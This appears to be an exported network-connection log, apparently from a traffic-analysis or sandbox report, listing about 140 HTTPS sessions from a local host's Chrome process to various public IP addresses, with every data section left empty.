Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.4	51515	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.4	51521	35.190.90.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.4	51535	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.4	51514	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.4	51507	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.4	51545	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.4	51534	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.4	51513	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.4	51544	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.4	51526	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.4	51522	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.4	51511	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.4	51517	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.4	51542	52.22.88.168	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.4	51525	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.4	51528	68.67.179.153	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.4	51546	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.4	51541	52.6.5.199	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.4	51540	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.4	51538	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.4	51306	34.233.219.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.4	51539	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.4	51537	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.4	51550	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.4	51531	8.2.110.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.4	51547	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.4	51508	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.4	51524	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.4	51518	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.4	51519	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.4	51527	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.4	51548	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.4	51533	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.4	51551	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.4	51549	34.229.3.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.4	51554	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.4	51552	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.4	51553	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.4	51556	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.4	51585	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.4	51557	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.4	51555	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.4	51536	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.4	51543	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.4	51603	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.4	51606	35.211.233.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.4	51611	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.4	51562	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.4	51595	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.4	51596	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.4	51591	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.4	51599	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.4	51601	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.4	51604	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.4	51653	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.4	51577	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.4	51560	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.4	51600	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.4	51608	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.4	51650	195.5.165.20	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.4	51592	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.4	51622	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.4	51571	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.4	51620	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.4	51593	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.4	51572	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.4	51597	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.4	51602	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.4	51663	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.4	51646	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.4	51632	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.4	51627	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.4	51656	52.46.151.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.4	51578	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.4	51561	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.4	51581	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.4	51624	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.4	51586	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.4	51625	23.21.22.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.4	51647	69.90.254.78	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.4	51661	34.193.171.116	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.4	51626	18.67.76.126	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.4	51573	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.4	51598	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.4	51623	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.4	51609	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.4	51613	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.4	51652	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.4	51580	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.4	51579	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.4	51636	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.4	51559	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.4	51635	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.4	51616	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.4	51568	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.4	51643	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.4	51607	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.4	51564	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.4	51615	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.4	51628	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.4	51645	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.4	51582	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.4	51648	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.4	51617	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.4	51669	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.4	51594	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.4	51649	35.186.193.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.4	51651	162.55.120.196	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.4	51629	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.4	51575	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.4	51618	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.4	51565	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.4	51666	34.233.219.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.4	51641	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.4	51657	143.244.222.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.4	51588	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.4	51590	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.4	51621	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.4	51639	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.4	51634	54.88.74.145	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.4	51660	172.67.191.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.4	51667	34.233.219.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.4	51631	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.4	51630	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.4	51676	3.232.64.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.4	51664	35.190.80.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.4	51673	35.190.90.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.4	51665	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.4	51659	35.208.249.213	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.4	51610	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.4	51670	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.4	51654	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.4	51675	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.4	51563	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.4	51668	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.4	51583	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.4	51587	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.4	51569	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.4	51638	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.4	51642	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

